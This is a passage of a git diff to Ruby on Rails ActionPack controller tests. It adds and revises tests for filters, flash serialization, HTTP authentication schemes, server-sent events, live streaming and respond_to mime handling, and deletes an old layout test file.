+    test_process(ConditionalOptionsSkipFilter)
+    assert_equal %w( ensure_login ), assigns["ran_filter"]
+  end
+
+  def test_skipping_class_filters
+    test_process(ClassController)
+    assert_equal true, assigns["ran_class_filter"]
+
+    skipping_class_controller = Class.new(ClassController) do
+      skip_before_filter ConditionalClassFilter
+    end
+
+    test_process(skipping_class_controller)
+    assert_nil assigns['ran_class_filter']
+  end
+
   def test_running_collection_condition_filters
     test_process(ConditionalCollectionFilterController)
     assert_equal %w( ensure_login ), assigns["ran_filter"]
@@ -880,17 +909,6 @@ class ControllerWithFilterInstance < PostsController
   around_filter YieldingFilter.new, :only => :raises_after
 end
 
-class ControllerWithFilterMethod < PostsController
-  class YieldingFilter < DefaultFilter
-    def around(controller)
-      yield
-      raise After
-    end
-  end
-
-  around_filter YieldingFilter.new.method(:around), :only => :raises_after
-end
-
 class ControllerWithProcFilter < PostsController
   around_filter(:only => :no_raise) do |c,b|
     c.instance_variable_set(:"@before", true)
diff --git a/actionpack/test/controller/flash_hash_test.rb b/actionpack/test/controller/flash_hash_test.rb
index 5490d93..50b36a0 100644
--- a/actionpack/test/controller/flash_hash_test.rb
+++ b/actionpack/test/controller/flash_hash_test.rb
@@ -67,6 +67,16 @@ module ActionDispatch
       assert_equal({'flashes' => {'message' => 'Hello'}, 'discard' => %w[message]}, hash.to_session_value)
     end
 
+    def test_from_session_value_on_json_serializer
+      decrypted_data = "{ \"session_id\":\"d98bdf6d129618fc2548c354c161cfb5\", \"flash\":{\"discard\":[], \"flashes\":{\"message\":\"hey you\"}} }"
+      session = ActionDispatch::Cookies::JsonSerializer.load(decrypted_data)
+      hash = Flash::FlashHash.from_session_value(session['flash'])
+
+      assert_equal({'discard' => %w[message], 'flashes' => { 'message' => 'hey you'}}, hash.to_session_value)
+      assert_equal "hey you", hash[:message]
+      assert_equal "hey you", hash["message"]
+    end
+
     def test_empty?
       assert @hash.empty?
       @hash['zomg'] = 'bears'
diff --git a/actionpack/test/controller/flash_test.rb b/actionpack/test/controller/flash_test.rb
index c64ffef..25a4857 100644
--- a/actionpack/test/controller/flash_test.rb
+++ b/actionpack/test/controller/flash_test.rb
@@ -174,14 +174,14 @@ class FlashTest < ActionController::TestCase
     flash.update(:foo => :foo_indeed, :bar => :bar_indeed)
 
     assert_equal(:foo_indeed, flash.discard(:foo)) # valid key passed
-    assert_nil flash.discard(:unknown) # non existant key passed
-    assert_equal({:foo => :foo_indeed, :bar => :bar_indeed}, flash.discard().to_hash) # nothing passed
-    assert_equal({:foo => :foo_indeed, :bar => :bar_indeed}, flash.discard(nil).to_hash) # nothing passed
+    assert_nil flash.discard(:unknown) # non existent key passed
+    assert_equal({"foo" => :foo_indeed, "bar" => :bar_indeed}, flash.discard().to_hash) # nothing passed
+    assert_equal({"foo" => :foo_indeed, "bar" => :bar_indeed}, flash.discard(nil).to_hash) # nothing passed
 
     assert_equal(:foo_indeed, flash.keep(:foo)) # valid key passed
-    assert_nil flash.keep(:unknown) # non existant key passed
-    assert_equal({:foo => :foo_indeed, :bar => :bar_indeed}, flash.keep().to_hash) # nothing passed
-    assert_equal({:foo => :foo_indeed, :bar => :bar_indeed}, flash.keep(nil).to_hash) # nothing passed
+    assert_nil flash.keep(:unknown) # non existent key passed
+    assert_equal({"foo" => :foo_indeed, "bar" => :bar_indeed}, flash.keep().to_hash) # nothing passed
+    assert_equal({"foo" => :foo_indeed, "bar" => :bar_indeed}, flash.keep(nil).to_hash) # nothing passed
   end
 
   def test_redirect_to_with_alert
diff --git a/actionpack/test/controller/helper_test.rb b/actionpack/test/controller/helper_test.rb
index 248c811..20f99f1 100644
--- a/actionpack/test/controller/helper_test.rb
+++ b/actionpack/test/controller/helper_test.rb
@@ -201,6 +201,12 @@ class HelperTest < ActiveSupport::TestCase
     # fun/pdf_helper.rb
     assert methods.include?(:foobar)
   end
+  
+  def test_helper_proxy_config
+    AllHelpersController.config.my_var = 'smth'
+    
+    assert_equal 'smth', AllHelpersController.helpers.config.my_var
+  end
 
   private
     def expected_helper_methods
diff --git a/actionpack/test/controller/http_basic_authentication_test.rb b/actionpack/test/controller/http_basic_authentication_test.rb
index 90548d4..9052fc6 100644
--- a/actionpack/test/controller/http_basic_authentication_test.rb
+++ b/actionpack/test/controller/http_basic_authentication_test.rb
@@ -129,6 +129,13 @@ class HttpBasicAuthenticationTest < ActionController::TestCase
     assert_response :unauthorized
   end
 
+  test "authentication request with wrong scheme" do
+    header = 'Bearer ' + encode_credentials('David', 'Goliath').split(' ', 2)[1]
+    @request.env['HTTP_AUTHORIZATION'] = header
+    get :search
+    assert_response :unauthorized
+  end
+
   private
 
   def encode_credentials(username, password)
diff --git a/actionpack/test/controller/http_digest_authentication_test.rb b/actionpack/test/controller/http_digest_authentication_test.rb
index 9f1c168..52a0bc9 100644
--- a/actionpack/test/controller/http_digest_authentication_test.rb
+++ b/actionpack/test/controller/http_digest_authentication_test.rb
@@ -21,7 +21,7 @@ class HttpDigestAuthenticationTest < ActionController::TestCase
 
     def authenticate
       authenticate_or_request_with_http_digest("SuperSecret") do |username|
-        # Return the password
+        # Returns the password
         USERS[username]
       end
     end
diff --git a/actionpack/test/controller/http_token_authentication_test.rb b/actionpack/test/controller/http_token_authentication_test.rb
index ebf6d22..86b9465 100644
--- a/actionpack/test/controller/http_token_authentication_test.rb
+++ b/actionpack/test/controller/http_token_authentication_test.rb
@@ -21,7 +21,7 @@ class HttpTokenAuthenticationTest < ActionController::TestCase
     private
 
     def authenticate
-      authenticate_or_request_with_http_token do |token, options|
+      authenticate_or_request_with_http_token do |token, _|
         token == 'lifo'
       end
     end
diff --git a/actionpack/test/controller/integration_test.rb b/actionpack/test/controller/integration_test.rb
index e851cc6..214eab2 100644
--- a/actionpack/test/controller/integration_test.rb
+++ b/actionpack/test/controller/integration_test.rb
@@ -374,6 +374,10 @@ class IntegrationProcessTest < ActionDispatch::IntegrationTest
       follow_redirect!
       assert_response :success
       assert_equal "/get", path
+
+      get '/moved'
+      assert_response :redirect
+      assert_redirected_to '/method'
     end
   end
 
@@ -511,6 +515,8 @@ class IntegrationProcessTest < ActionDispatch::IntegrationTest
         end
 
         set.draw do
+          get 'moved' => redirect('/method')
+
           match ':action', :to => controller, :via => [:get, :post], :as => :action
           get 'get/:action', :to => controller, :as => :get_action
         end
@@ -769,3 +775,34 @@ class UrlOptionsIntegrationTest < ActionDispatch::IntegrationTest
     assert_equal "/foo/1/edit", url_for(:action => 'edit', :only_path => true)
   end
 end
+
+class HeadWithStatusActionIntegrationTest < ActionDispatch::IntegrationTest
+  class FooController < ActionController::Base
+    def status
+      head :ok
+    end
+  end
+
+  def self.routes
+    @routes ||= ActionDispatch::Routing::RouteSet.new
+  end
+
+  def self.call(env)
+    routes.call(env)
+  end
+
+  def app
+    self.class
+  end
+
+  routes.draw do
+    get "/foo/status" => 'head_with_status_action_integration_test/foo#status'
+  end
+
+  test "get /foo/status with head result does not cause stack overflow error" do
+    assert_nothing_raised do
+      get '/foo/status'
+    end
+    assert_response :ok
+  end
+end
diff --git a/actionpack/test/controller/layout_test.rb b/actionpack/test/controller/layout_test.rb
deleted file mode 100644
index 34304cf..0000000
--- a/actionpack/test/controller/layout_test.rb
+++ /dev/null
@@ -1,262 +0,0 @@
-require 'abstract_unit'
-require 'rbconfig'
-require 'active_support/core_ext/array/extract_options'
-
-# The view_paths array must be set on Base and not LayoutTest so that LayoutTest's inherited
-# method has access to the view_paths array when looking for a layout to automatically assign.
-old_load_paths = ActionController::Base.view_paths
-
-ActionView::Template::register_template_handler :mab,
-  lambda { |template| template.source.inspect }
-
-ActionController::Base.view_paths = [ File.dirname(__FILE__) + '/../fixtures/layout_tests/' ]
-
-class LayoutTest < ActionController::Base
-  def self.controller_path; 'views' end
-  def self._implied_layout_name; to_s.underscore.gsub(/_controller$/, '') ; end
-  self.view_paths = ActionController::Base.view_paths.dup
-end
-
-# Restore view_paths to previous value
-ActionController::Base.view_paths = old_load_paths
-
-class ProductController < LayoutTest
-end
-
-class ItemController < LayoutTest
-end
-
-class ThirdPartyTemplateLibraryController < LayoutTest
-end
-
-module ControllerNameSpace
-end
-
-class ControllerNameSpace::NestedController < LayoutTest
-end
-
-class MultipleExtensions < LayoutTest
-end
-
-class LayoutAutoDiscoveryTest < ActionController::TestCase
-  def setup
-    super
-    @request.host = "www.nextangle.com"
-  end
-
-  def test_application_layout_is_default_when_no_controller_match
-    @controller = ProductController.new
-    get :hello
-    assert_equal 'layout_test.erb hello.erb', @response.body
-  end
-
-  def test_controller_name_layout_name_match
-    @controller = ItemController.new
-    get :hello
-    assert_equal 'item.erb hello.erb', @response.body
-  end
-
-  def test_third_party_template_library_auto_discovers_layout
-    @controller = ThirdPartyTemplateLibraryController.new
-    get :hello
-    assert_response :success
-    assert_equal 'layouts/third_party_template_library.mab', @response.body
-  end
-
-  def test_namespaced_controllers_auto_detect_layouts1
-    @controller = ControllerNameSpace::NestedController.new
-    get :hello
-    assert_equal 'controller_name_space/nested.erb hello.erb', @response.body
-  end
-
-  def test_namespaced_controllers_auto_detect_layouts2
-    @controller = MultipleExtensions.new
-    get :hello
-    assert_equal 'multiple_extensions.html.erb hello.erb', @response.body.strip
-  end
-end
-
-class DefaultLayoutController < LayoutTest
-end
-
-class StreamingLayoutController < LayoutTest
-  def render(*args)
-    options = args.extract_options!
-    super(*args, options.merge(:stream => true))
-  end
-end
-
-class AbsolutePathLayoutController < LayoutTest
-  layout File.expand_path(File.expand_path(__FILE__) + '/../../fixtures/layout_tests/layouts/layout_test')
-end
-
-class HasOwnLayoutController < LayoutTest
-  layout 'item'
-end
-
-class HasNilLayoutSymbol < LayoutTest
-  layout :nilz
-
-  def nilz
-    nil
-  end
-end
-
-class HasNilLayoutProc < LayoutTest
-  layout proc { nil }
-end
-
-class PrependsViewPathController < LayoutTest
-  def hello
-    prepend_view_path File.dirname(__FILE__) + '/../fixtures/layout_tests/alt/'
-    render :layout => 'alt'
-  end
-end
-
-class OnlyLayoutController < LayoutTest
-  layout 'item', :only => "hello"
-end
-
-class ExceptLayoutController < LayoutTest
-  layout 'item', :except => "goodbye"
-end
-
-class SetsLayoutInRenderController < LayoutTest
-  def hello
-    render :layout => 'third_party_template_library'
-  end
-end
-
-class RendersNoLayoutController < LayoutTest
-  def hello
-    render :layout => false
-  end
-end
-
-class LayoutSetInResponseTest < ActionController::TestCase
-  include ActionView::Template::Handlers
-
-  def test_layout_set_when_using_default_layout
-    @controller = DefaultLayoutController.new
-    get :hello
-    assert_template :layout => "layouts/layout_test"
-  end
-
-  def test_layout_set_when_using_streaming_layout
-    @controller = StreamingLayoutController.new
-    get :hello
-    assert_template :hello
-  end
-
-  def test_layout_set_when_set_in_controller
-    @controller = HasOwnLayoutController.new
-    get :hello
-    assert_template :layout => "layouts/item"
-  end
-
-  def test_layout_symbol_set_in_controller_returning_nil_falls_back_to_default
-    @controller = HasNilLayoutSymbol.new
-    get :hello
-    assert_template layout: "layouts/layout_test"
-  end
-
-  def test_layout_proc_set_in_controller_returning_nil_falls_back_to_default
-    @controller = HasNilLayoutProc.new
-    get :hello
-    assert_template layout: "layouts/layout_test"
-  end
-
-  def test_layout_only_exception_when_included
-    @controller = OnlyLayoutController.new
-    get :hello
-    assert_template :layout => "layouts/item"
-  end
-
-  def test_layout_only_exception_when_excepted
-    @controller = OnlyLayoutController.new
-    get :goodbye
-    assert !@response.body.include?("item.erb"), "#{@response.body.inspect} included 'item.erb'"
-  end
-
-  def test_layout_except_exception_when_included
-    @controller = ExceptLayoutController.new
-    get :hello
-    assert_template :layout => "layouts/item"
-  end
-
-  def test_layout_except_exception_when_excepted
-    @controller = ExceptLayoutController.new
-    get :goodbye
-    assert !@response.body.include?("item.erb"), "#{@response.body.inspect} included 'item.erb'"
-  end
-
-  def test_layout_set_when_using_render
-    @controller = SetsLayoutInRenderController.new
-    get :hello
-    assert_template :layout => "layouts/third_party_template_library"
-  end
-
-  def test_layout_is_not_set_when_none_rendered
-    @controller = RendersNoLayoutController.new
-    get :hello
-    assert_template :layout => nil
-  end
-
-  def test_layout_is_picked_from_the_controller_instances_view_path
-    @controller = PrependsViewPathController.new
-    get :hello
-    assert_template :layout => /layouts\/alt/
-  end
-
-  def test_absolute_pathed_layout
-    @controller = AbsolutePathLayoutController.new
-    get :hello
-    assert_equal "layout_test.erb hello.erb", @response.body.strip
-  end
-end
-
-class RenderWithTemplateOptionController < LayoutTest
-  def hello
-    render :template => 'alt/hello'
-  end
-end
-
-class SetsNonExistentLayoutFile < LayoutTest
-  layout "nofile"
-end
-
-class LayoutExceptionRaisedTest < ActionController::TestCase
-  def test_exception_raised_when_layout_file_not_found
-    @controller = SetsNonExistentLayoutFile.new
-    assert_raise(ActionView::MissingTemplate) { get :hello }
-  end
-end
-
-class LayoutStatusIsRendered < LayoutTest
-  def hello
-    render :status => 401
-  end
-end
-
-class LayoutStatusIsRenderedTest < ActionController::TestCase
-  def test_layout_status_is_rendered
-    @controller = LayoutStatusIsRendered.new
-    get :hello
-    assert_response 401
-  end
-end
-
-unless RbConfig::CONFIG['host_os'] =~ /mswin|mingw/
-  class LayoutSymlinkedTest < LayoutTest
-    layout "symlinked/symlinked_layout"
-  end
-
-  class LayoutSymlinkedIsRenderedTest < ActionController::TestCase
-    def test_symlinked_layout_is_rendered
-      @controller = LayoutSymlinkedTest.new
-      get :hello
-      assert_response 200
-      assert_template :layout => "layouts/symlinked/symlinked_layout"
-    end
-  end
-end
diff --git a/actionpack/test/controller/live_stream_test.rb b/actionpack/test/controller/live_stream_test.rb
index 34164a1..947f641 100644
--- a/actionpack/test/controller/live_stream_test.rb
+++ b/actionpack/test/controller/live_stream_test.rb
@@ -1,8 +1,98 @@
 require 'abstract_unit'
 require 'active_support/concurrency/latch'
+Thread.abort_on_exception = true
 
 module ActionController
+  class SSETest < ActionController::TestCase
+    class SSETestController < ActionController::Base
+      include ActionController::Live
+
+      def basic_sse
+        response.headers['Content-Type'] = 'text/event-stream'
+        sse = SSE.new(response.stream)
+        sse.write("{\"name\":\"John\"}")
+        sse.write({ name: "Ryan" })
+      ensure
+        sse.close
+      end
+
+      def sse_with_event
+        sse = SSE.new(response.stream, event: "send-name")
+        sse.write("{\"name\":\"John\"}")
+        sse.write({ name: "Ryan" })
+      ensure
+        sse.close
+      end
+
+      def sse_with_retry
+        sse = SSE.new(response.stream, retry: 1000)
+        sse.write("{\"name\":\"John\"}")
+        sse.write({ name: "Ryan" }, retry: 1500)
+      ensure
+        sse.close
+      end
+
+      def sse_with_id
+        sse = SSE.new(response.stream)
+        sse.write("{\"name\":\"John\"}", id: 1)
+        sse.write({ name: "Ryan" }, id: 2)
+      ensure
+        sse.close
+      end
+    end
+
+    tests SSETestController
+
+    def wait_for_response_stream_close
+      response.body
+    end
+
+    def test_basic_sse
+      get :basic_sse
+
+      wait_for_response_stream_close
+      assert_match(/data: {\"name\":\"John\"}/, response.body)
+      assert_match(/data: {\"name\":\"Ryan\"}/, response.body)
+    end
+
+    def test_sse_with_event_name
+      get :sse_with_event
+
+      wait_for_response_stream_close
+      assert_match(/data: {\"name\":\"John\"}/, response.body)
+      assert_match(/data: {\"name\":\"Ryan\"}/, response.body)
+      assert_match(/event: send-name/, response.body)
+    end
+
+    def test_sse_with_retry
+      get :sse_with_retry
+
+      wait_for_response_stream_close
+      first_response, second_response = response.body.split("\n\n")
+      assert_match(/data: {\"name\":\"John\"}/, first_response)
+      assert_match(/retry: 1000/, first_response)
+
+      assert_match(/data: {\"name\":\"Ryan\"}/, second_response)
+      assert_match(/retry: 1500/, second_response)
+    end
+
+    def test_sse_with_id
+      get :sse_with_id
+
+      wait_for_response_stream_close
+      first_response, second_response = response.body.split("\n\n")
+      assert_match(/data: {\"name\":\"John\"}/, first_response)
+      assert_match(/id: 1/, first_response)
+
+      assert_match(/data: {\"name\":\"Ryan\"}/, second_response)
+      assert_match(/id: 2/, second_response)
+    end
+  end
+
   class LiveStreamTest < ActionController::TestCase
+    class Exception < StandardError
+    end
+
     class TestController < ActionController::Base
       include ActionController::Live
 
@@ -12,6 +102,12 @@ module ActionController
         'test'
       end
 
+      def set_cookie
+        cookies[:hello] = "world"
+        response.stream.write "hello world"
+        response.close
+      end
+
       def render_text
         render :text => 'zomg'
       end
@@ -57,6 +153,11 @@ module ActionController
         render 'doesntexist'
       end
 
+      def exception_in_view_after_commit
+        response.stream.write ""
+        render 'doesntexist'
+      end
+
       def exception_with_callback
         response.headers['Content-Type'] = 'text/event-stream'
 
@@ -65,32 +166,33 @@ module ActionController
           response.stream.close
         end
 
+        response.stream.write "" # make sure the response is committed
         raise 'An exception occurred...'
       end
 
+      def exception_in_controller
+        raise Exception, 'Exception in controller'
+      end
+
+      def bad_request_error
+        raise ActionController::BadRequest
+      end
+
       def exception_in_exception_callback
         response.headers['Content-Type'] = 'text/event-stream'
         response.stream.on_error do
           raise 'We need to go deeper.'
         end
+        response.stream.write ''
         response.stream.write params[:widget][:didnt_check_for_nil]
       end
     end
 
     tests TestController
 
-    class TestResponse < Live::Response
-      def recycle!
-        initialize
-      end
-    end
-
-    def build_response
-      TestResponse.new
-    end
-
     def assert_stream_closed
       assert response.stream.closed?, 'stream should be closed'
+      assert response.sent?, 'stream should be sent'
     end
 
     def capture_log_output
@@ -104,6 +206,13 @@ module ActionController
       end
     end
 
+    def test_set_cookie
+      @controller = TestController.new
+      get :set_cookie
+      assert_equal({'hello' => 'world'}, @response.cookies)
+      assert_equal "hello world", @response.body
+    end
+
     def test_set_response!
       @controller.set_response!(@request)
       assert_kind_of(Live::Response, @controller.response)
@@ -125,6 +234,7 @@ module ActionController
       @controller.response = @response
 
       t = Thread.new(@response) { |resp|
+        resp.await_commit
         resp.stream.each do |part|
           assert_equal parts.shift, part
           ol = @controller.latch
@@ -135,7 +245,7 @@ module ActionController
 
       @controller.process :blocking_stream
 
-      assert t.join
+      assert t.join(3), 'timeout expired before the thread terminated'
     end
 
     def test_thread_locals_get_copied
@@ -161,24 +271,34 @@ module ActionController
     end
 
     def test_exception_handling_html
-      capture_log_output do |output|
+      assert_raises(ActionView::MissingTemplate) do
         get :exception_in_view
+      end
+
+      capture_log_output do |output|
+        get :exception_in_view_after_commit
         assert_match %r((window\.location = "/500\.html"</script></html>)$), response.body
         assert_match 'Missing template test/doesntexist', output.rewind && output.read
         assert_stream_closed
       end
+      assert response.body
+      assert_stream_closed
     end
 
     def test_exception_handling_plain_text
-      capture_log_output do |output|
+      assert_raises(ActionView::MissingTemplate) do
         get :exception_in_view, format: :json
+      end
+
+      capture_log_output do |output|
+        get :exception_in_view_after_commit, format: :json
         assert_equal '', response.body
         assert_match 'Missing template test/doesntexist', output.rewind && output.read
         assert_stream_closed
       end
     end
 
-    def test_exception_callback
+    def test_exception_callback_when_committed
       capture_log_output do |output|
         get :exception_with_callback, format: 'text/event-stream'
         assert_equal %(data: "500 Internal Server Error"\n\n), response.body
@@ -187,7 +307,19 @@ module ActionController
       end
     end
 
-    def test_exceptions_raised_handling_exceptions
+    def test_exception_in_controller_before_streaming
+      assert_raises(ActionController::LiveStreamTest::Exception) do
+        get :exception_in_controller, format: 'text/event-stream'
+      end
+    end
+
+    def test_bad_request_in_controller_before_streaming
+      assert_raises(ActionController::BadRequest) do
+        get :bad_request_error, format: 'text/event-stream'
+      end
+    end
+
+    def test_exceptions_raised_handling_exceptions_and_committed
       capture_log_output do |output|
         get :exception_in_exception_callback, format: 'text/event-stream'
         assert_equal '', response.body
@@ -207,4 +339,11 @@ module ActionController
       assert_equal 304, @response.status.to_i
     end
   end
+
+  class BufferTest < ActionController::TestCase
+    def test_nil_callback
+      buf = ActionController::Live::Buffer.new nil
+      assert buf.call_on_error
+    end
+  end
 end
diff --git a/actionpack/test/controller/localized_templates_test.rb b/actionpack/test/controller/localized_templates_test.rb
index 6b02eed..c95ef8a 100644
--- a/actionpack/test/controller/localized_templates_test.rb
+++ b/actionpack/test/controller/localized_templates_test.rb
@@ -34,4 +34,15 @@ class LocalizedTemplatesTest < ActionController::TestCase
     get :hello_world
     assert_equal "Gutten Tag", @response.body
   end
+
+  def test_localized_template_has_correct_header_with_no_format_in_template_name
+    old_locale = I18n.locale
+    I18n.locale = :it
+
+    get :hello_world
+    assert_equal "Ciao Mondo", @response.body
+    assert_equal "text/html",  @response.content_type
+  ensure
+    I18n.locale = old_locale
+  end
 end
diff --git a/actionpack/test/controller/log_subscriber_test.rb b/actionpack/test/controller/log_subscriber_test.rb
index 075347b..18037b3 100644
--- a/actionpack/test/controller/log_subscriber_test.rb
+++ b/actionpack/test/controller/log_subscriber_test.rb
@@ -137,6 +137,17 @@ class ACLogSubscriberTest < ActionController::TestCase
     assert_equal 'Parameters: {"id"=>"10"}', logs[1]
   end
 
+  def test_multiple_process_with_parameters
+    get :show, :id => '10'
+    get :show, :id => '20'
+
+    wait
+
+    assert_equal 6, logs.size
+    assert_equal 'Parameters: {"id"=>"10"}', logs[1]
+    assert_equal 'Parameters: {"id"=>"20"}', logs[4]
+  end
+
   def test_process_action_with_wrapped_parameters
     @request.env['CONTENT_TYPE'] = 'application/json'
     post :show, :id => '10', :name => 'jose'
diff --git a/actionpack/test/controller/mime/accept_format_test.rb b/actionpack/test/controller/mime/accept_format_test.rb
new file mode 100644
index 0000000..c03c7ed
--- /dev/null
+++ b/actionpack/test/controller/mime/accept_format_test.rb
@@ -0,0 +1,94 @@
+require 'abstract_unit'
+
+class StarStarMimeController < ActionController::Base
+  layout nil
+
+  def index
+    render
+  end
+end
+
+class StarStarMimeControllerTest < ActionController::TestCase
+  tests StarStarMimeController
+
+  def test_javascript_with_format
+    @request.accept = "text/javascript"
+    get :index, :format => 'js'
+    assert_match "function addition(a,b){ return a+b; }", @response.body
+  end
+
+  def test_javascript_with_no_format
+    @request.accept = "text/javascript"
+    get :index
+    assert_match "function addition(a,b){ return a+b; }", @response.body
+  end
+
+  def test_javascript_with_no_format_only_star_star
+    @request.accept = "*/*"
+    get :index
+    assert_match "function addition(a,b){ return a+b; }", @response.body
+  end
+end
+
+class AbstractPostController < ActionController::Base
+  self.view_paths = File.dirname(__FILE__) + "/../../fixtures/post_test/"
+end
+
+# For testing layouts which are set automatically
+class PostController < AbstractPostController
+  around_action :with_iphone
+
+  def index
+    respond_to(:html, :iphone, :js)
+  end
+
+protected
+
+  def with_iphone
+    request.format = "iphone" if request.env["HTTP_ACCEPT"] == "text/iphone"
+    yield
+  end
+end
+
+class SuperPostController < PostController
+end
+
+class MimeControllerLayoutsTest < ActionController::TestCase
+  tests PostController
+
+  def setup
+    super
+    @request.host = "www.example.com"
+    Mime::Type.register_alias("text/html", :iphone)
+  end
+
+  def teardown
+    super
+    Mime::Type.unregister(:iphone)
+  end
+
+  def test_missing_layout_renders_properly
+    get :index
+    assert_equal '<html><div id="html">Hello Firefox</div></html>', @response.body
+
+    @request.accept = "text/iphone"
+    get :index
+    assert_equal 'Hello iPhone', @response.body
+  end
+
+  def test_format_with_inherited_layouts
+    @controller = SuperPostController.new
+
+    get :index
+    assert_equal '<html><div id="html">Super Firefox</div></html>', @response.body
+
+    @request.accept = "text/iphone"
+    get :index
+    assert_equal '<html><div id="super_iphone">Super iPhone</div></html>', @response.body
+  end
+
+  def test_non_navigational_format_with_no_template_fallbacks_to_html_template_with_no_layout
+    get :index, :format => :js
+    assert_equal "Hello Firefox", @response.body
+  end
+end
diff --git a/actionpack/test/controller/mime/respond_to_test.rb b/actionpack/test/controller/mime/respond_to_test.rb
new file mode 100644
index 0000000..ce6d135
--- /dev/null
+++ b/actionpack/test/controller/mime/respond_to_test.rb
@@ -0,0 +1,773 @@
+require 'abstract_unit'
+
+class RespondToController < ActionController::Base
+  layout :set_layout
+
+  def html_xml_or_rss
+    respond_to do |type|
+      type.html { render :text => "HTML"    }
+      type.xml  { render :text => "XML"     }
+      type.rss  { render :text => "RSS"     }
+      type.all  { render :text => "Nothing" }
+    end
+  end
+
+  def js_or_html
+    respond_to do |type|
+      type.html { render :text => "HTML"    }
+      type.js   { render :text => "JS"      }
+      type.all  { render :text => "Nothing" }
+    end
+  end
+
+  def json_or_yaml
+    respond_to do |type|
+      type.json { render :text => "JSON" }
+      type.yaml { render :text => "YAML" }
+    end
+  end
+
+  def html_or_xml
+    respond_to do |type|
+      type.html { render :text => "HTML"    }
+      type.xml  { render :text => "XML"     }
+      type.all  { render :text => "Nothing" }
+    end
+  end
+
+  def json_xml_or_html
+    respond_to do |type|
+      type.json { render :text => 'JSON' }
+      type.xml { render :xml => 'XML' }
+      type.html { render :text => 'HTML' }
+    end
+  end
+
+
+  def forced_xml
+    request.format = :xml
+
+    respond_to do |type|
+      type.html { render :text => "HTML"    }
+      type.xml  { render :text => "XML"     }
+    end
+  end
+
+  def just_xml
+    respond_to do |type|
+      type.xml  { render :text => "XML" }
+    end
+  end
+
+  def using_defaults
+    respond_to do |type|
+      type.html
+      type.xml
+    end
+  end
+
+  def using_defaults_with_type_list
+    respond_to(:html, :xml)
+  end
+
+  def using_defaults_with_all
+    respond_to do |type|
+      type.html
+      type.all{ render text: "ALL" }
+    end
+  end
+
+  def made_for_content_type
+    respond_to do |type|
+      type.rss  { render :text => "RSS"  }
+      type.atom { render :text => "ATOM" }
+      type.all  { render :text => "Nothing" }
+    end
+  end
+
+  def custom_type_handling
+    respond_to do |type|
+      type.html { render :text => "HTML"    }
+      type.custom("application/crazy-xml")  { render :text => "Crazy XML"  }
+      type.all  { render :text => "Nothing" }
+    end
+  end
+
+
+  def custom_constant_handling
+    respond_to do |type|
+      type.html   { render :text => "HTML"   }
+      type.mobile { render :text => "Mobile" }
+    end
+  end
+
+  def custom_constant_handling_without_block
+    respond_to do |type|
+      type.html   { render :text => "HTML"   }
+      type.mobile
+    end
+  end
+
+  def handle_any
+    respond_to do |type|
+      type.html { render :text => "HTML" }
+      type.any(:js, :xml) { render :text => "Either JS or XML" }
+    end
+  end
+
+  def handle_any_any
+    respond_to do |type|
+      type.html { render :text => 'HTML' }
+      type.any { render :text => 'Whatever you ask for, I got it' }
+    end
+  end
+
+  def all_types_with_layout
+    respond_to do |type|
+      type.html
+    end
+  end
+
+  def iphone_with_html_response_type
+    request.format = :iphone if request.env["HTTP_ACCEPT"] == "text/iphone"
+
+    respond_to do |type|
+      type.html   { @type = "Firefox" }
+      type.iphone { @type = "iPhone"  }
+    end
+  end
+
+  def iphone_with_html_response_type_without_layout
+    request.format = "iphone" if request.env["HTTP_ACCEPT"] == "text/iphone"
+
+    respond_to do |type|
+      type.html   { @type = "Firefox"; render :action => "iphone_with_html_response_type" }
+      type.iphone { @type = "iPhone" ; render :action => "iphone_with_html_response_type" }
+    end
+  end
+
+  def variant_with_implicit_rendering
+  end
+
+  def variant_with_format_and_custom_render
+    request.variant = :mobile
+
+    respond_to do |type|
+      type.html { render text: "mobile" }
+    end
+  end
+
+  def multiple_variants_for_format
+    respond_to do |type|
+      type.html do |html|
+        html.tablet { render text: "tablet" }
+        html.phone  { render text: "phone" }
+      end
+    end
+  end
+
+  def variant_plus_none_for_format
+    respond_to do |format|
+      format.html do |variant|
+        variant.phone { render text: "phone" }
+        variant.none
+      end
+    end
+  end
+
+  def variant_inline_syntax
+    respond_to do |format|
+      format.js         { render text: "js"    }
+      format.html.none  { render text: "none"  }
+      format.html.phone { render text: "phone" }
+    end
+  end
+
+  def variant_inline_syntax_without_block
+    respond_to do |format|
+      format.js
+      format.html.none
+      format.html.phone
+    end
+  end
+
+  def variant_any
+    respond_to do |format|
+      format.html do |variant|
+        variant.any(:tablet, :phablet){ render text: "any" }
+        variant.phone { render text: "phone" }
+      end
+    end
+  end
+
+  def variant_any_any
+    respond_to do |format|
+      format.html do |variant|
+        variant.any   { render text: "any"   }
+        variant.phone { render text: "phone" }
+      end
+    end
+  end
+
+  def variant_inline_any
+    respond_to do |format|
+      format.html.any(:tablet, :phablet){ render text: "any" }
+      format.html.phone { render text: "phone" }
+    end
+  end
+
+  def variant_inline_any_any
+    respond_to do |format|
+      format.html.phone { render text: "phone" }
+      format.html.any   { render text: "any"   }
+    end
+  end
+
+  def variant_any_implicit_render
+    respond_to do |format|
+      format.html.phone
+      format.html.any(:tablet, :phablet)
+    end
+  end
+
+  def variant_any_with_none
+    respond_to do |format|
+      format.html.any(:none, :phone){ render text: "none or phone" }
+    end
+  end
+
+  def format_any_variant_any
+    respond_to do |format|
+      format.html { render text: "HTML" }
+      format.any(:js, :xml) do |variant|
+        variant.phone{ render text: "phone" }
+        variant.any(:tablet, :phablet){ render text: "tablet" }
+      end
+    end
+  end
+
+  protected
+    def set_layout
+      case action_name
+        when "all_types_with_layout", "iphone_with_html_response_type"
+          "respond_to/layouts/standard"
+        when "iphone_with_html_response_type_without_layout"
+          "respond_to/layouts/missing"
+      end
+    end
+end
+
+class RespondToControllerTest < ActionController::TestCase
+  tests RespondToController
+
+  def setup
+    super
+    @request.host = "www.example.com"
+    Mime::Type.register_alias("text/html", :iphone)
+    Mime::Type.register("text/x-mobile", :mobile)
+  end
+
+  def teardown
+    super
+    Mime::Type.unregister(:iphone)
+    Mime::Type.unregister(:mobile)
+  end
+
+  def test_html
+    @request.accept = "text/html"
+    get :js_or_html
+    assert_equal 'HTML', @response.body
+
+    get :html_or_xml
+    assert_equal 'HTML', @response.body
+
+    assert_raises(ActionController::UnknownFormat) do
+      get :just_xml
+    end
+  end
+
+  def test_all
+    @request.accept = "*/*"
+    get :js_or_html
+    assert_equal 'HTML', @response.body # js is not part of all
+
+    get :html_or_xml
+    assert_equal 'HTML', @response.body
+
+    get :just_xml
+    assert_equal 'XML', @response.body
+  end
+
+  def test_xml
+    @request.accept = "application/xml"
+    get :html_xml_or_rss
+    assert_equal 'XML', @response.body
+  end
+
+  def test_js_or_html
